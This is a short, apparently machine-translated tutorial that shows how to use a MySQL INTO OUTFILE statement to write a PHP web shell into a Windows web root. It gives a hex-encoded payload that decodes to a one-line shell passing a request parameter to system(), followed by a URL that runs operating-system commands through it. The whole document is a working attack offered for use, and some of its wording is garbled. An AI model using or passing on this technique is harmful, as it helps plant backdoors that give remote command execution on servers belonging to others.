MySQL statement to generate a backdoor Trojan

This article mainly describes how to generate a backdoor Trojan using a MySQL statement correctly. The following describes how to generate a backdoor Trojan using a MySQL statement, I hope this will help you in your future studies.

How to generate a backdoor Trojan using a MySQL statement!

 
 

  
  
SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,
0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from 
vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php' 
 
 

Run the preceding statement in phpmyadmin or MySQL (the best combination of MySQL and PHP) to generate cmd under C:/inetpub/wwwroot. php file, the content is the original vbb_strikes content, followed:

 
 

  
  
2 3 <?php system($_REQUEST[cmd]);?> 
 
 

Again Through http://www.xxx.com/cmd.php? Cmd = dir c: \ to execute the system doscommand!

Which sort is what?

Is <? Php system ($ _ REQUEST [cmd]);?> If you do not use this method, other encodings may appear in different SQL versions, such as % xx. Which backdoor cannot be executed! If you have other language names, you can enter them in UltraEdit and press the [Ctrl + H] key to connect the hex in it!

The above content is an introduction to the method for generating Backdoor trojans using MySQL statements. I hope you will gain some benefits.

The above content describes how to generate a backdoor Trojan in a MySQL statement. I hope it will help you in this regard.